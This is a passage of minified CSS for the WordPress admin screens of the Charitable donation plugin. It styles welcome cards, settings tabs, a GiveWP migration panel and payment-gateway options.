20px;border:none;background-color:#df7739;color:#fff;text-transform:capitalize;letter-spacing:normal;padding:15px 25px}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.charitable-button:hover{background-color:#bd632f;color:#fff}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.button-secondary{background-color:#5aa152;color:#fff}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.button-secondary:hover{color:#fff}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta:hover{color:#000}body.wp-admin.charitable-campaigns table.wp-list-table td.column-creator a{display:flex}.charitable-blank-slate{max-width:800px;text-align:center;margin:auto;padding:2em 0 0}.charitable-blank-slate .page-header{background:#fff;border:1px solid #ccd0d4;padding:20px;display:flex;justify-content:space-between;align-items:center;margin:0 0 20px 0}.charitable-blank-slate .page-header .page-title{font-size:23px;font-weight:400;color:#23282d;margin:0}.charitable-blank-slate .welcome-card{background:#fff;border:1px solid #ccd0d4;border-radius:4px;padding:40px;text-align:center;margin-bottom:30px;box-shadow:0 1px 1px rgba(0,0,0,.04)}.charitable-blank-slate .welcome-card .welcome-title{font-size:28px;color:#23282d;margin-bottom:16px;font-weight:600}.charitable-blank-slate .welcome-card .welcome-description{font-size:16px;color:#666;margin-bottom:32px;max-width:600px;margin-left:auto;margin-right:auto;line-height:1.5}.charitable-blank-slate .btn-primary{background:#87b655;color:#fff;border:none;padding:8px 16px;border-radius:3px;font-size:13px;cursor:pointer;text-decoration:none;display:inline-block}.charitable-blank-slate .btn-primary:hover{background:#7a9f4f;color:#fff}.charitable-blank-slate .btn-primary.btn-large{font-size:16px;padding:16px 32px;border-radius:5px}.charitable-blank-slate .btn-secondary{background:#f47c3c;color:#fff;border:none;padding:10px 20px;border-radius:3px;font-size:13px;cursor:pointer;text-decoration:none;display:inline-block}.charitable-blank-slate .btn-secondary:hover{background:#e66a2a;color:#fff}.charitable-blank-slate .secondary-actions{display:grid;grid-template-columns:1fr;gap:20px;margin:30px auto;max-width:800px}@media (min-width:768px){.charitable-blank-slate .secondary-actions{grid-template-columns:1fr 1fr}}.charitable-blank-slate .action-card{background:#fff;border:1px solid #ccd0d4;text-align:left;border-radius:4px;padding:24px;box-shadow:0 1px 1px rgba(0,0,0,.04)}.charitable-blank-slate .action-card h3{font-size:16px;color:#23282d;margin:0 0 20px 0;font-weight:600;text-align:left}.charitable-blank-slate .action-card p{color:#666;margin:0 0 16px 0;font-size:14px;line-height:1.4}.charitable-blank-slate .givewp-detection-text{margin:0 0 8px 0;font-size:14px;line-height:1.4}.charitable-blank-slate .givewp-detection-text strong{color:#23282d}.charitable-blank-slate .givewp-detection-text .givewp-count{color:#f47c3c;font-weight:700}.charitable-blank-slate .help-resources{background:#fff;border:1px solid #ccd0d4;border-radius:4px;padding:24px;box-shadow:0 1px 1px rgba(0,0,0,.04);margin:30px auto;max-width:800px;text-align:left}.charitable-blank-slate .help-resources h3{font-size:16px;color:#23282d;margin:0 0 16px 0;font-weight:600}.charitable-blank-slate .help-links{list-style:none;margin:0;padding:0}.charitable-blank-slate .help-links li{margin:0 0 8px 0;padding:0}.charitable-blank-slate .help-links li a{color:#0073aa;text-decoration:none;font-size:14px}.charitable-blank-slate .help-links li a:hover{text-decoration:underline}.charitable-blank-slate .blank-slate-feature-card{background:#fff;border:1px solid #ccd0d4;border-radius:4px;padding:24px;text-align:left;box-shadow:0 1px 1px rgba(0,0,0,.04);display:flex;flex-direction:column;align-items:flex-start;gap:16px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-title-icon-row{display:flex;align-items:center;justify-content:center;gap:8px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-icon{display:flex;align-items:center;justify-content:center}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-icon img{width:24px;height:24px;opacity:.7}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-content{display:flex;flex-direction:column;align-items:flex-start;gap:12px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-button-row{display:flex;flex-direction:row;align-items:center;gap:10px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-title{font-size:16px;color:#23282d;margin:0;font-weight:600;display:flex;align-items:center;gap:8px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-pro-badge{background:#f47c3c;color:#fff;font-size:10px;padding:2px 6px;border-radius:2px;font-weight:600;display:inline-block;text-transform:uppercase}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-description{color:#666;margin:0;font-size:14px;line-height:1.4;text-align:left;max-width:100%}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button{background:#f47c3c;color:#fff;border:none;padding:10px 20px;border-radius:3px;font-size:13px;cursor:pointer;text-decoration:none;display:inline-block;font-weight:400;transition:all .2s ease;text-align:center}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button:hover:not(:disabled){background:#e66a2a;color:#fff;text-decoration:none}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button:focus{box-shadow:0 0 0 1px #e66a2a;outline:0}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button:disabled{opacity:.6;cursor:not-allowed}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-install-button{background:#f47c3c}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-install-button:hover{background:#e66a2a}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button{background:#87b655}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button:hover{background:#7a9f4f}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-installed-button{background:#6c757d;color:#fff}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-installed-button:hover{background:#6c757d}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-upgrade-button{background:#f47c3c}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-upgrade-button:hover{background:#e66a2a}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-learn-more-button{background:#f47c3c;color:#fff;border:none}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-learn-more-button:hover{background:#e66a2a;color:#fff;text-decoration:none}.blank-slate-feature-content .charitable-dashboard-v2-enhance-grid-button{padding:4px 15px!important;margin-top:2px;font-size:13px;line-height:29px;font-weight:500}.charitable-growth-tools-dashboard.charitable-growth-tools-notice{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);z-index:9999}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior{background-color:#fff;padding:20px;margin-top:-50px;box-shadow:0 0 30px rgba(0,0,0,.15);border-radius:4px;text-align:center;position:relative}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior h2{font-size:21px;line-height:24px;font-weight:500;margin:0 0 10px 0;font-family:Inter,sans-serif}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p{font-size:16px;line-height:21px;margin:5px auto;font-family:Inter,sans-serif}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.another-suggestion{margin-top:20px;font-size:12px;line-height:12px}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.another-suggestion a{font-weight:300;color:#444}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.more-recommendations{font-size:14px}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior .charitable-notice-why{width:75%;margin:20px auto}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior .charitable-notice-why strong{text-transform:uppercase;font-weight:700;font-size:14px}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior a.charitable-remove-growth-tools{position:absolute;right:20px;top:20px;font-size:14px;line-height:14px;width:16px;height:16px;text-decoration:none;opacity:.3;background-image:url(../../images/onboarding/checklist/times-circle-regular.svg);color:#b6b6b6}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.charitable-dashboard-notice-another-suggestion a{color:#000;font-size:12px;line-height:14px;text-decoration:underline;font-weight:300}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.charitable-dashboard-notice-another-suggestion a:hover{color:#a9a9a9}.marketplace-suggestions-container .marketplace-suggestion-container{padding:1.5em;align-items:center;flex-direction:row}.marketplace-suggestions-container h4{margin:0 auto;font-weight:500;font-size:18px}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container{display:flex;position:relative}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .marketplace-suggestion-container-content h4{text-align:left}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .marketplace-suggestion-container-content p{font-size:13px;line-height:1.5;margin:4px 0 0 0;color:#444;text-align:left}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container img.marketplace-suggestion-icon{margin:0 1.5em 0 0;height:40px;flex:0 0 40px}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .marketplace-suggestion-container-cta{flex:1 1 30%;min-width:160px;text-align:right}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .suggestion-dismiss{position:relative;top:5px;right:auto;margin-left:1em;color:#ddd}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.suggestion-dismiss::before{font-family:Dashicons;speak:never;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;content:"\f335";text-decoration:none;font-size:1.5em}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.charitable-button-link{background-color:#5aa152;color:#fff;padding:10px 15px;position:relative;top:-4px;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-size:13px;line-height:normal;cursor:pointer;margin:5px auto 0 auto;display:inline-block}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.charitable-button-link.charitable-learn-more{background-color:#f18200}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.charitable-button-link:hover{background-color:#3f7539}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container-footer .marketplace-suggestion-container-cta{text-align:center}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container-footer .marketplace-suggestion-container-cta a.linkout{text-decoration:none;margin-right:20px;color:#999}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container-footer .marketplace-suggestion-container-cta a.linkout:hover{color:#444;text-decoration:underline}#adminmenu #toplevel_page_charitable ul.wp-submenu li.wp-first-item{display:none!important;visibility:hidden!important}body.charitable_legacy_dashboard #adminmenu #toplevel_page_charitable ul.wp-submenu li.wp-first-item{display:unset;visibility:unset}body.taxonomy-campaign_category li#toplevel_page_charitable ul li.tools,body.taxonomy-campaign_tag li#toplevel_page_charitable ul li.tools{font-weight:600!important;color:#fff}body.taxonomy-campaign_category li#toplevel_page_charitable ul li.tools a,body.taxonomy-campaign_tag li#toplevel_page_charitable ul li.tools a{font-weight:600!important;color:#fff}#adminmenu .wp-submenu a .charitable-menu-new-indicator{color:#f18200;vertical-align:super;font-size:9px}body.charitable_page_charitable-addons table,body.charitable_page_charitable-reports table,body.charitable_page_charitable-settings table,body.charitable_page_charitable-tools table,body.post-type-charitable.edit-tags-php table{border-color:#ddd}body.charitable_page_charitable-addons table tfoot th a,body.charitable_page_charitable-addons table thead th a,body.charitable_page_charitable-reports table tfoot th a,body.charitable_page_charitable-reports table thead th a,body.charitable_page_charitable-settings table tfoot th a,body.charitable_page_charitable-settings table thead th a,body.charitable_page_charitable-tools table tfoot th a,body.charitable_page_charitable-tools table thead th a,body.post-type-charitable.edit-tags-php table tfoot th a,body.post-type-charitable.edit-tags-php table thead th a{color:#6a6c77;font-weight:500}body.charitable_page_charitable-addons table tfoot td,body.charitable_page_charitable-addons table tfoot th,body.charitable_page_charitable-addons table thead td,body.charitable_page_charitable-addons table thead th,body.charitable_page_charitable-reports table tfoot td,body.charitable_page_charitable-reports table tfoot th,body.charitable_page_charitable-reports table thead td,body.charitable_page_charitable-reports table thead th,body.charitable_page_charitable-settings table tfoot td,body.charitable_page_charitable-settings table tfoot th,body.charitable_page_charitable-settings table thead td,body.charitable_page_charitable-settings table thead th,body.charitable_page_charitable-tools table tfoot td,body.charitable_page_charitable-tools table tfoot th,body.charitable_page_charitable-tools table thead td,body.charitable_page_charitable-tools table thead th,body.post-type-charitable.edit-tags-php table tfoot td,body.post-type-charitable.edit-tags-php table tfoot th,body.post-type-charitable.edit-tags-php table thead td,body.post-type-charitable.edit-tags-php table thead th{border-color:#ddd}body.charitable_page_charitable-addons table td.title,body.charitable_page_charitable-reports table td.title,body.charitable_page_charitable-settings table td.title,body.charitable_page_charitable-tools table td.title,body.post-type-charitable.edit-tags-php table td.title{font-weight:400;padding-right:50px}body.charitable_page_charitable-addons table td.title a,body.charitable_page_charitable-reports table td.title a,body.charitable_page_charitable-settings table td.title a,body.charitable_page_charitable-tools table td.title a,body.post-type-charitable.edit-tags-php table td.title a{font-weight:400;color:#454955}body.charitable_page_charitable-addons h1,body.charitable_page_charitable-reports h1,body.charitable_page_charitable-settings h1,body.charitable_page_charitable-tools h1,body.post-type-charitable.edit-tags-php h1{font-family:Inter,sans-serif;font-weight:500;font-size:21px;margin-right:10px;margin-bottom:20px;margin-top:20px}body.post-type-charitable.edit-tags-php #col-container{margin-top:15px}body.post-type-charitable.edit-tags-php h1.wp-heading-inline{display:none}body.charitable_page_charitable-settings div#charitable-settings table.form-table tbody tr th[scope=row] label{font-weight:400;font-size:inherit;margin:10px 0 6px 0;line-height:20px;font-family:Inter,sans-serif;display:block}.charitable-customizer-section img{float:left;border:1px solid #ccc;padding:5px;margin-right:20px}.charitable-customizer-section a.button.button-primary{background-color:#5aa152;border-color:#5aa152;color:#fff;border-radius:5px;font-family:Inter,sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize}body.charitable_page_charitable-about h2.nav-tab-wrapper,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper,body.charitable_page_charitable-reports h2.nav-tab-wrapper,body.charitable_page_charitable-settings h2.nav-tab-wrapper,body.charitable_page_charitable-tools h2.nav-tab-wrapper,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper{font-family:Inter,sans-serif;margin-bottom:25px;display:inline-block;border-bottom:1px solid #d5d6d8;padding-left:0;padding-right:20px;margin-bottom:5px;width:calc(100% - 40px)}body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab{margin:0 15px 0 0;font-family:Inter,sans-serif;border:0;background:0 0;color:#85878f;font-size:15px;line-height:18px;padding-bottom:25px;padding-left:15px;padding-right:15px;font-weight:400;border-bottom:2px solid transparent}body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.nav-tab-active{color:#2f3241;font-weight:600;border-bottom:2px solid #5aa152}body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after{content:"Pro";background-color:#f99e36;padding:3px 7px;font-size:11px;line-height:11px;text-transform:uppercase;color:#fff;font-weight:600;margin-left:5px;margin-right:5px;margin-top:0;position:relative;top:-7px}body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after{display:none}body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab:hover,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab:hover,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab:hover,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab:hover{color:#2f3241;border-bottom:2px solid #d5d6d8}body.charitable_page_charitable-tools h3.nav-sub-tab-wrapper{font-family:Inter,sans-serif;margin:10px 0 0 0;padding:0;border-bottom:none;font-size:14px;font-weight:400}body.charitable_page_charitable-about h3.nav-sub-tab-wrapper a.nav-tab,body.charitable_page_charitable-reports h3.nav-sub-tab-wrapper a.nav-tab,body.charitable_page_charitable-settings h3.nav-sub-tab-wrapper a.nav-tab,body.charitable_page_charitable-tools h3.nav-sub-tab-wrapper a.nav-tab{font-size:13px;line-height:13px;padding:10px 15px;border-bottom:2px solid transparent;background-color:transparent;border-top:0;border-left:0;border-right:0;font-weight:400;margin-left:0}body.charitable_page_charitable-about h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-reports h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-settings h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-tools h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active{font-style:normal;font-weight:600;line-height:130%;border-bottom:2px solid #5aa152;color:#5aa152}tr.charitable-tools-heading-pro th[scope=row] h4{font-size:20px!important;font-weight:600!important;margin:20px 0 6px 0!important;line-height:20px!important}tr.charitable-tools-heading-pro th[scope=row] p{font-size:14px;font-weight:600;color:#50575e;margin:4px 0 0 0}.charitable-import-pro-notice{background:#fff8e5;border:1px solid #f99e36;padding:12px 16px;margin:0 0 20px 0;font-family:Inter,sans-serif;font-size:13px;line-height:1.6}.charitable-import-pro-notice p{margin:0}.charitable-import-pro-notice a{color:#b8600b}th .badge.beta,th label .badge.beta{display:inline-block;color:#fff;background-color:#007bff;font-size:10px;font-weight:700;letter-spacing:.5px;padding:2px 8px;border-radius:.25rem;text-transform:uppercase;line-height:1.4;vertical-align:middle;margin-left:6px}tr.charitable-givewp-migration-row th[scope=row] label{font-size:13px;font-weight:600}.charitable-givewp-migration-wrap{max-width:520px;padding:10px 0;font-family:Inter,sans-serif}.charitable-givewp-migration-wrap .migration-info-box{background:#f6f7f7;border:1px solid #e1e1e1;border-radius:4px;padding:16px 20px;margin-bottom:16px}.charitable-givewp-migration-wrap .migration-info-box.charitable-before-import{background:#fff8e5;border:1px solid #dba617}.charitable-givewp-migration-wrap .migration-info-box .info-box-heading{margin:0 0 8px 0;font-size:13px}.charitable-givewp-migration-wrap .migration-info-box ul{margin:0;padding:0 0 0 18px;list-style:disc}.charitable-givewp-migration-wrap .migration-info-box ul li{font-size:13px;line-height:1.6;color:#50575e;margin-bottom:4px}.charitable-givewp-migration-wrap .migration-data-found{border-collapse:collapse;width:100%;margin:0}.charitable-givewp-migration-wrap .migration-data-found td{padding:4px 12px 4px 0;font-size:13px;color:#50575e;border:none}.charitable-givewp-migration-wrap .migration-data-found td.data-count{font-weight:700;color:#1d2327;width:40px}.charitable-givewp-migration-wrap .migration-select-section{margin-bottom:16px}.charitable-givewp-migration-wrap .migration-select-section .select-heading{margin:0 0 10px 0;font-size:13px}.charitable-givewp-migration-wrap .migration-options{margin-bottom:10px;padding-bottom:10px;border-bottom:1px solid #e1e1e1}.charitable-givewp-migration-wrap .migration-options label{display:block;margin-bottom:8px;font-size:13px;color:#1d2327;cursor:pointer}.charitable-givewp-migration-wrap .migration-options label input[type=checkbox]{margin-right:6px}.charitable-givewp-migration-wrap .migration-extra-options{margin-bottom:0}.charitable-givewp-migration-wrap .migration-extra-options label{display:block;margin-bottom:6px;font-size:13px;color:#1d2327;cursor:pointer}.charitable-givewp-migration-wrap .migration-extra-options label input[type=checkbox]{margin-right:6px}.charitable-givewp-migration-wrap .migration-extra-options .option-description{color:#888;font-style:italic;font-size:12px}.charitable-givewp-migration-wrap .migration-button-wrap{margin:20px 0}.charitable-givewp-migration-wrap .charitable-migration-btn{display:inline-flex;align-items:center;gap:6px;background:#5aa152;color:#fff;border:none;border-radius:4px;padding:10px 22px;font-size:14px;font-weight:600;font-family:Inter,sans-serif;cursor:pointer;line-height:1.4;transition:background .2s ease}.charitable-givewp-migration-wrap .charitable-migration-btn:hover{background:#4a8a44;color:#fff}.charitable-givewp-migration-wrap .charitable-migration-btn:disabled{opacity:.6;cursor:not-allowed}.charitable-givewp-migration-wrap .charitable-migration-btn .dashicons{font-size:18px;width:18px;height:18px;line-height:1}.charitable-givewp-migration-wrap .migration-progress{display:none;margin-top:15px}.charitable-givewp-migration-wrap .progress-bar-outer{width:100%;height:24px;background:#f0f0f1;border-radius:3px;overflow:hidden}.charitable-givewp-migration-wrap .progress-bar-inner{width:0;height:100%;background:#5aa152;transition:width .3s ease;border-radius:3px}.charitable-givewp-migration-wrap .progress-status{margin-top:8px;font-size:13px;color:#646970}.charitable-givewp-migration-wrap .migration-dry-run-results,.charitable-givewp-migration-wrap .migration-results{display:none;margin-top:15px}.charitable-givewp-migration-wrap .migration-dry-run-results h4,.charitable-givewp-migration-wrap .migration-results h4{font-size:14px;font-weight:600;margin:0 0 10px 0}.charitable-givewp-migration-wrap .migration-dry-run-results table,.charitable-givewp-migration-wrap .migration-results table{border-collapse:collapse;width:100%}.charitable-givewp-migration-wrap .migration-dry-run-results table td,.charitable-givewp-migration-wrap .migration-dry-run-results table th,.charitable-givewp-migration-wrap .migration-results table td,.charitable-givewp-migration-wrap .migration-results table th{padding:8px 12px;text-align:left;border-bottom:1px solid #e1e1e1;font-size:13px}.charitable-givewp-migration-wrap .migration-dry-run-results table th,.charitable-givewp-migration-wrap .migration-results table th{font-weight:600;color:#1d2327}.charitable-givewp-migration-wrap .migration-error{display:none;color:#d63638;margin-top:10px;font-size:13px}body.charitable_page_charitable-reports div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4,body.charitable_page_charitable-reports h4,body.charitable_page_charitable-settings div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4,body.charitable_page_charitable-settings h4,body.charitable_page_charitable-tools div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4,body.charitable_page_charitable-tools h4{font-family:Inter,sans-serif;font-weight:500}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table th,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table th,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table th{min-width:auto!important}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr th[scope=row] h4,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr th[scope=row] h4,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr th[scope=row] h4{padding-bottom:20px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr td,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr td,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr td{padding-top:5px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table a.wpcharitable-stripe-connect,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table a.wpcharitable-stripe-connect,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table a.wpcharitable-stripe-connect{margin-top:-10px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways .charitable-settings-field,body.charitable_page_charitable-settings.charitable-admin-settings-gateways .charitable-settings-field,body.charitable_page_charitable-tools.charitable-admin-settings-gateways .charitable-settings-field{font-size:13px;margin-top:10px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways #charitable_settings_test_mode.charitable-settings-field,body.charitable_page_charitable-settings.charitable-admin-settings-gateways #charitable_settings_test_mode.charitable-settings-field,body.charitable_page_charitable-tools.charitable-admin-settings-gateways #charitable_settings_test_mode.charitable-settings-field{margin-top:-10px}body.charitable_page_charitable-reports .charitable-settings-object h4,body.charitable_page_charitable-settings .charitable-settings-object h4,body.charitable_page_charitable-tools .charitable-settings-object h4{line-height:40px}body.charitable_page_charitable-reports .charitable-settings-object.charitable-gateway,body.charitable_page_charitable-settings .charitable-settings-object.charitable-gateway,body.charitable_page_charitable-tools .charitable-settings-object.charitable-gateway{min-height:40px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo{float:left;padding:5px 0 0 20px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-badge,body.charitable_page_charitable-settings .charitable-settings-object .gateway-badge,body.charitable_page_charitable-tools .charitable-settings-object .gateway-badge{background-color:#347d39!important;font-weight:500;color:#fff;font-size:.775rem;line-height:1.25rem;padding-bottom:.225rem;padding-left:.625rem;padding-right:.625rem;padding-top:.225rem}body.charitable_page_charitable-reports .charitable-settings-object .make-default-gateway,body.charitable_page_charitable-settings .charitable-settings-object .make-default-gateway,body.charitable_page_charitable-tools .charitable-settings-object .make-default-gateway{display:inline-block;color:#2b66d1;text-transform:capitalize;font-weight:500;font-size:12px;line-height:12px;margin-left:0!important;text-decoration:underline}body.charitable_page_charitable-reports .charitable-settings-object .make-default-gateway i,body.charitable_page_charitable-settings .charitable-settings-object .make-default-gateway i,body.charitable_page_charitable-tools .charitable-settings-object .make-default-gateway i{font-size:15px;line-height:15px;margin-right:3px}body.charitable_page_charitable-reports .charitable-settings-object .default-gateway,body.charitable_page_charitable-settings .charitable-settings-object .default-gateway,body.charitable_page_charitable-tools .charitable-settings-object .default-gateway{margin-top:6px;display:inline-block}body.charitable_page_charitable-reports .charitable-settings-object>.charitable-badge,body.charitable_page_charitable-settings .charitable-settings-object>.charitable-badge,body.charitable_page_charitable-tools .charitable-settings-object>.charitable-badge{margin-left:15px;top:8px;position:relative}body.charitable_page_charitable-reports .charitable-settings-object>.charitable-badge~.charitable-badge,body.charitable_page_charitable-settings .charitable-settings-object>.charitable-badge~.charitable-badge,body.charitable_page_charitable-tools .charitable-settings-object>.charitable-badge~.charitable-badge{margin-left:5px}body.charitable_page_charitable-reports .charitable-settings-object,body.charitable_page_charitable-settings 